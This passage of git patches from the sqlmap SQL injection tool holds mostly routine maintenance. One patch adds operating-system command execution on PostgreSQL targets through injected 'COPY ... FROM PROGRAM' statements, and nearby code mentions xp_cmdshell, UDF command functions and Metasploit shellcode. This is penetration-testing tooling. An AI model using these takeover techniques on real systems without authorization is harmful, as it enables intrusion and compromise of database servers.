waf/aesecure.py -f1619f567d8f9c150b8ee8b1bdec1629 waf/airlock.py -a131fe244f14271f522ef931d7b77eaa waf/anquanbao.py -0ea8afc4051d26a9982ee8d4f2459d68 waf/approach.py -5b037dcf7c051fdd0512ba9ada489651 waf/armor.py -a3f60872aa7deb66d40a0d4e3bebca36 waf/asm.py -b2132db7097b0eac9a7527992deb9011 waf/aws.py -b6eeb0a0311c8bdf9ee112aab1fba37f waf/barracuda.py -a79227ae23ef02ad33d201583a0546ac waf/bekchy.py -4aa3ef26432e2508d197cee5b3d841c5 waf/bitninja.py -cd8fa4fa25563dea3b0726a70a0df448 waf/bluedon.py -08ab8967e4c376a67554a58aa31dcebf waf/cerber.py -f13856a073e2cae8bc1aca60efdeb5ea waf/chinacache.py -4bcfd8acfec8b4f6af46d66b6c747465 waf/ciscoacexml.py -735b75dc69e2ec01dda94317e1ec2e35 waf/cloudbric.py -0d833c9d9f177ce2246099b387376250 waf/cloudflare.py -f38dc80a9630ea5881d13c8b1b06f930 waf/cloudfront.py -a9613980103c5bd866f4a300f3d56e33 waf/comodo.py -9a8a012011e48ae85d2d6b38f344cc6f waf/crawlprotect.py -ded68b2c545ea6b15b7eb290e7823239 waf/distil.py -386240766871896b0c1e47034af64d9f waf/dotdefender.py -1e6121db4bc1323f4f2cfa64930d3d34 waf/edgecast.py -169426a115c49c686a0ec1b26bce26dc waf/expressionengine.py -ef4f3152e79b557cfb34763a85de15c5 waf/fortiweb.py -57e4d643904aa3369d2ed79b4c20244a waf/generic.py -49d579aa8441994d64cd06b8dda503c4 waf/godaddy.py -84b26086ce446661fe49a6427f3d7035 waf/greywizard.py -13b4884d1a06a04a97f722ff527bda96 waf/imunify360.py -23752d17b963db2ea86f969083f4b0b6 waf/incapsula.py -cdf3f6e677253f1c85e0b12d9d0d0ac3 waf/__init__.py -09449b38bbf1dc90b970ce29a73fb8df waf/isaserver.py -9f824acdbb064b039c460ba6f8e903a6 waf/janusec.py -d2bea92d652fa2323aacd8da601b6f52 waf/jiasule.py -6735b063269c91d78bc540480a404891 waf/knownsec.py -5d72a377326a97b99947aea159d591ba waf/kona.py -ce3ecccf07d83d8892ced15ca7fdb9d7 waf/malcare.py -ca2e1a0bed0c6b078b32d3797e912297 waf/modsecurity.py -0123ba4e013f5fda68270c6437876bee waf/naxsi.py -3151b3912cefad43c2d05bbb3f834e93 waf/netscaler.py -9682e7ad3c4ac1f1ffe3167472fc96ef waf/newdefend.py -1758f6c2c988d22e550b771c26582dea waf/ninjafirewall.py -3d2b002c5d486a5a0688ca764589a557 waf/onmessageshield.py -c0729d748471fd3a7152610e400e07d1 waf/paloalto.py -d0b099d0678121d445ba682e4556639f waf/perimeterx.py -32899d8f4ee695d1eb2b7cb5122abf02 waf/profense.py -71fa47aa699ce4696db5b8ba92979859 waf/proventia.py -aaf38348bd9b6077b1cf7693e142520f waf/radware.py -c2e7177187059a1cabc86e3c9fcfb246 waf/reblaze.py -011f6c2e7d9d8bef329e3ac835ea5d84 waf/requestvalidationmode.py -d649e98a4a6a25fe2286f818a74bc549 waf/rsfirewall.py -7d14647f30f39e80f2cab430553f4fd0 waf/safe3.py -027ad5e576fd29c2a026fafa3143e21f waf/safedog.py -2d676b19a737f185849ef49d01e8536f waf/secureentry.py -282b862b8fbd2440100c9f0ccada87d1 waf/secureiis.py -42f13c3f2b75adfe6775d844c4678ee6 waf/securesphere.py -1b419280b1c74125a623cc2b7afbd0f4 waf/senginx.py -8ab512e0658e048399b0bd36c8e36b2b waf/shieldsecurity.py -e47d83fe62e3b36e6d7fd2ab7cd438de waf/siteground.py -b2d69aafef8b9ca0709b81685d0dbed4 waf/siteguard.py -a38d944da44afd1802753d56552ce78d waf/sitelock.py -9b1526f6bf1e6c90dfb046622e10dbe2 waf/sonicwall.py -cb86507a2865b3b43628528bc044a79e waf/sophos.py -6d67152142d485cf5ccbf08721d3e55d waf/squarespace.py -9b9f514bdd911119cf9421d9a4930594 waf/stackpath.py -e9e2cb64c03503a6df1e7333c67b3bba waf/sucuri.py -e5a78e1c2914a9bd43eba767915a087a waf/tencent.py -42f7c35e98d9589d15d6c59b0fb9fbd1 waf/trafficshield.py -52d3a2314776fe8c6fc4997acabf6faa waf/urlmaster.py -78c03942a8f349ba121b6b55c101c5af waf/urlscan.py -6f6c315c5c869add6693415a2ac5b687 waf/varnish.py -d45fecaff95fa8e62266855b929154b5 waf/virusdie.py -12fdd57d2454d71e3b28c619ee03c41b waf/wallarm.py -d348bf46d77dcd2106aed5b8a2028547 waf/watchguard.py -184ffd596e039450ffdf8a5848b26e07 waf/webknight.py -01cb56e24ef185611980ea640c4f0267 waf/webseal.py -e8a42d03c358fdbef7f30fb571c77936 waf/wordfence.py -4add51acfd8552b22c5b308d09a52bb1 waf/wts.py -2a69ca1046d299de86522037a732080f waf/yundun.py -bdc2cbb5f43330a0d4d0704b43e1f30e waf/yunsuo.py -0a17a4c6d096f214c5ba6f52f60879e7 waf/zenedge.py -e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml -d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml -7b21aeb3ad66d7686eacd23a6346292c xml/banner/mysql.xml -9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml -c26cd4fa986ddc9f6d92dd87c8fc61cb xml/banner/postgresql.xml -5f8975d03665aad58c3ee8acea85b06b xml/banner/server.xml -d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml -5fa1805d3007c68b051f2c70afcf41ed xml/banner/set-cookie.xml -d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml -350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml -ccb5e02a692f75d11b7fd00f1db48bf5 xml/banner/x-powered-by.xml -385570003bf7d84f2502191eae8268c6 xml/boundaries.xml -4df7176815d874cf99649201caf10642 xml/errors.xml -e2b842d6cda0fb007211656a037dd277 xml/livetests.xml -11547289b99eaced5b55185a3230529a xml/payloads/boolean_blind.xml -0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml -06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml -82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml -92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml -ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml -f20a92b2f037cebf01b916804345399a xml/queries.xml From 2d129f3e58969cc1ce017023d7e1f530e80ef97c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 22 Mar 2019 13:49:52 +0100 Subject: [PATCH 168/800] Finalizing #3545 --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 27 ++++++++++++++++++------- plugins/dbms/postgresql/takeover.py | 31 ++++++++++++++++++++++------- plugins/generic/misc.py | 3 +++ plugins/generic/takeover.py | 2 +- 6 files changed, 50 insertions(+), 16 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 4f155e271ba..4287091db3e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1882,6 +1882,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.connErrorChoice = None kb.connErrorCounter = 0 kb.cookieEncodeChoice = None + kb.copyExecTest = None kb.counters = {} kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() diff --git a/lib/core/settings.py b/lib/core/settings.py index 9996d9319ea..fee71dae583 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.43" +VERSION = "1.3.3.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 42ec1070431..feef80fbab8 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -44,7 +44,10 @@ def __init__(self): XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and not isStackingAvailable(): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -60,7 +63,10 @@ def execCmd(self, cmd, silent=False): def evalCmd(self, cmd, first=None, last=None): retVal = None - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + retVal = self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and not isStackingAvailable(): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -103,14 +109,19 @@ def shell(self): logger.info(infoMsg) else: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - infoMsg = "going to use injected sys_eval and sys_exec " - infoMsg += "user-defined functions for operating system " + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " + infoMsg += "command execution" + logger.info(infoMsg) + + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + infoMsg = "going to use injected user-defined functions " + infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): - infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) @@ -200,7 +211,9 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): logger.warn(warnMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + success = True + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index e7682419afe..8aee6773c0d 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -10,6 +10,8 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp +from lib.core.common import isListLike +from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.data import kb from lib.core.data import logger @@ -104,13 +106,28 @@ def uncPathRequest(self): self.cleanup(onlyFileTbl=True) def copyExecCmd(self, cmd): - # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 - self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName - self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) - self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) - inject.goStacked(self._forgedCmd) + output = None - query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) - output = inject.getValue(query, resumeValue=False) + if isStackingAvailable(): + # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 + self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName + self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) + self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) + inject.goStacked(self._forgedCmd) + + query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) + output = inject.getValue(query, resumeValue=False) + + if isListLike(output): + output = os.linesep.join(output) + + self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName + inject.goStacked(self._cleanupCmd) return output + + def checkCopyExec(self): + if kb.copyExecTest is None: + kb.copyExecTest = self.copyExecCmd("echo 1") == '1' + + return kb.copyExecTest diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 97cf5518dcf..388149b378e 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -140,6 +140,9 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): if not isStackingAvailable() and not conf.direct: return + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: + return + if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 05ab11dedef..0897bcbdd93 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -169,7 +169,7 @@ def osPwn(self): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" + msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') From 9dcd18e41ca4228f35af8878a7e0ed9ec4a79eb4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 25 Mar 2019 11:12:18 +0100 Subject: [PATCH 169/800] Fixes #3546 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 4287091db3e..f2cfb551b0d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2406,7 +2406,7 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) - if conf.chunked and not any((conf.data, conf.requestFile)): + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index fee71dae583..93f976a9924 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.44" +VERSION = "1.3.3.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9387a005e395ee82c5a3ab5d2c10c12cb5c984d6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 25 Mar 2019 11:17:25 +0100 Subject: [PATCH 170/800] Fixes #3548 --- lib/core/option.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index f2cfb551b0d..8c6f62fc546 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1148,14 +1148,14 @@ def _setSafeVisit(): checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) - match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw[:raw.find('\n')]) + match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw.split('\n')[0].strip()) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} - for line in raw[raw.find('\n') + 1:].split('\n'): + for line in raw.split('\n')[1:]: line = line.strip() if line and ':' in line: key, value = line.split(':', 1) diff --git a/lib/core/settings.py b/lib/core/settings.py index 93f976a9924..be5ccca1abf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.45" +VERSION = "1.3.3.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e64cc86fc4c9a28893733f4cfb6cee0e865055db Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 25 Mar 2019 11:42:16 +0100 Subject: [PATCH 171/800] Patch related to the #3524 --- lib/controller/checks.py | 59 ++++++++++++++++++++++++---------------- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 37 insertions(+), 25 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 3f299bfdb6f..2ba006e1979 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1507,44 +1507,55 @@ def checkNullConnection(): if conf.data: return False - infoMsg = "testing NULL connection to the target URL" - logger.info(infoMsg) + _ = hashDBRetrieve(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, True) + if _ is not None: + kb.nullConnection = _ - pushValue(kb.pageCompress) - kb.pageCompress = False + if _: + dbgMsg = "resuming NULL connection method '%s'" % _ + logger.debug(dbgMsg) - try: - page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) + else: + infoMsg = "testing NULL connection to the target URL" + logger.info(infoMsg) - if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.HEAD + pushValue(kb.pageCompress) + kb.pageCompress = False - infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" - logger.info(infoMsg) - else: - page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) + try: + page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) - if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): - kb.nullConnection = NULLCONNECTION.RANGE + if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + kb.nullConnection = NULLCONNECTION.HEAD - infoMsg = "NULL connection is supported with GET method ('Range')" + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" logger.info(infoMsg) else: - _, headers, _ = Request.getPage(skipRead=True) + page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) - if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.SKIP_READ + if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): + kb.nullConnection = NULLCONNECTION.RANGE - infoMsg = "NULL connection is supported with 'skip-read' method" + infoMsg = "NULL connection is supported with GET method ('Range')" logger.info(infoMsg) + else: + _, headers, _ = Request.getPage(skipRead=True) - except SqlmapConnectionException: - pass + if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + kb.nullConnection = NULLCONNECTION.SKIP_READ - finally: - kb.pageCompress = popValue() + infoMsg = "NULL connection is supported with 'skip-read' method" + logger.info(infoMsg) + + except SqlmapConnectionException: + pass + + finally: + kb.pageCompress = popValue() + kb.nullConnection = False if kb.nullConnection is None else kb.nullConnection + hashDBWrite(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, kb.nullConnection, True) - return kb.nullConnection is not None + return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True) def checkConnection(suppressOutput=False): threadData = getCurrentThreadData() diff --git a/lib/core/enums.py b/lib/core/enums.py index a050e8b015f..18510404ca1 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -231,6 +231,7 @@ class HASHDB_KEYS: DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" diff --git a/lib/core/settings.py b/lib/core/settings.py index be5ccca1abf..0b0d990eeba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.46" +VERSION = "1.3.3.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5037e43c998dbb3352e0eec7c3dcadcb93a7d295 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 26 Mar 2019 12:52:19 +0100 Subject: [PATCH 172/800] Fixes #3550 --- lib/core/revision.py | 11 +++++++---- lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/core/revision.py b/lib/core/revision.py index 94158a67a34..23d2d840b8d 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -44,9 +44,12 @@ def getRevisionNumber(): break if not retVal: - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") - retVal = match.group(0) if match else None + try: + process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, _ = process.communicate() + match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") + retVal = match.group(0) if match else None + except: + pass return retVal[:7] if retVal else None diff --git a/lib/core/settings.py b/lib/core/settings.py index 0b0d990eeba..02f1740632c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.47" +VERSION = "1.3.3.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4b75ca15e8d27c12360133cb7fb5c24d4d829502 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 26 Mar 2019 12:57:11 +0100 Subject: [PATCH 173/800] Fixes #3551 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 96ec51808c8..b24ae8523e7 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3045,7 +3045,7 @@ def parseSqliteTableSchema(value): table = {} columns = {} - for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): + for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I): retVal = True columns[match.group(1)] = match.group(2) diff --git a/lib/core/settings.py b/lib/core/settings.py index 02f1740632c..0cd955573d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.48" +VERSION = "1.3.3.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8d89389c3637cb66681fa08d0ea26a395cb01982 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 26 Mar 2019 14:37:01 +0100 Subject: [PATCH 174/800] StringIO is bad m'kay (python3 this and that) --- lib/core/common.py | 11 +++++------ lib/core/convert.py | 4 ++-- lib/core/option.py | 1 - lib/core/settings.py | 2 +- lib/request/basic.py | 6 +++--- lib/request/redirecthandler.py | 5 ++--- lib/takeover/web.py | 4 ++-- lib/utils/har.py | 12 ++++++------ thirdparty/multipart/multipartpost.py | 4 ++-- 9 files changed, 23 insertions(+), 26 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b24ae8523e7..d61d34ecc4e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -15,6 +15,7 @@ import hashlib import httplib import inspect +import io import json import keyword import locale @@ -40,7 +41,6 @@ from ConfigParser import DEFAULTSECT from ConfigParser import RawConfigParser -from StringIO import StringIO from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError @@ -158,7 +158,6 @@ from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD -from lib.core.settings import SAFE_VARIABLE_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import STDIN_PIPE_DASH @@ -2079,7 +2078,7 @@ def parseXmlFile(xmlFile, handler): """ try: - with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: + with contextlib.closing(io.StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) except (SAXParseException, UnicodeError) as ex: errMsg = "something appears to be wrong with " @@ -3322,7 +3321,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu if filename not in kb.cache.content: kb.cache.content[filename] = sys.stdin.read() - return contextlib.closing(StringIO(readCachedFileContent(filename))) + return contextlib.closing(io.StringIO(readCachedFileContent(filename))) else: try: return codecs.open(filename, mode, encoding, errors, buffering) @@ -4107,9 +4106,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False): set([(u'/input.php', 'POST', u'id=1', None, None)]) """ - class _(StringIO): + class _(io.BytesIO): def __init__(self, content, url): - StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) + io.BytesIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) self._url = url def geturl(self): diff --git a/lib/core/convert.py b/lib/core/convert.py index 00a7a72aaa3..a865ef559be 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -13,9 +13,9 @@ import pickle as picklePy import base64 +import io import json import re -import StringIO import sys from lib.core.settings import IS_WIN @@ -84,7 +84,7 @@ def _(self): self.load_reduce() def loads(str): - f = StringIO.StringIO(str) + f = io.BytesIO(str) if unsafe: unpickler = picklePy.Unpickler(f) unpickler.dispatch[picklePy.REDUCE] = _ diff --git a/lib/core/option.py b/lib/core/option.py index 8c6f62fc546..e804d02d3f9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -125,7 +125,6 @@ from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES -from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX diff --git a/lib/core/settings.py b/lib/core/settings.py index 0cd955573d3..20b910fcfbd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.49" +VERSION = "1.3.3.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 8c36d1a0dce..0345dff1177 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -7,9 +7,9 @@ import codecs import gzip +import io import logging import re -import StringIO import struct import zlib @@ -273,9 +273,9 @@ def decodePage(page, contentEncoding, contentType): try: if contentEncoding == "deflate": - data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations + data = io.BytesIO(zlib.decompress(page, -15)) # Reference: 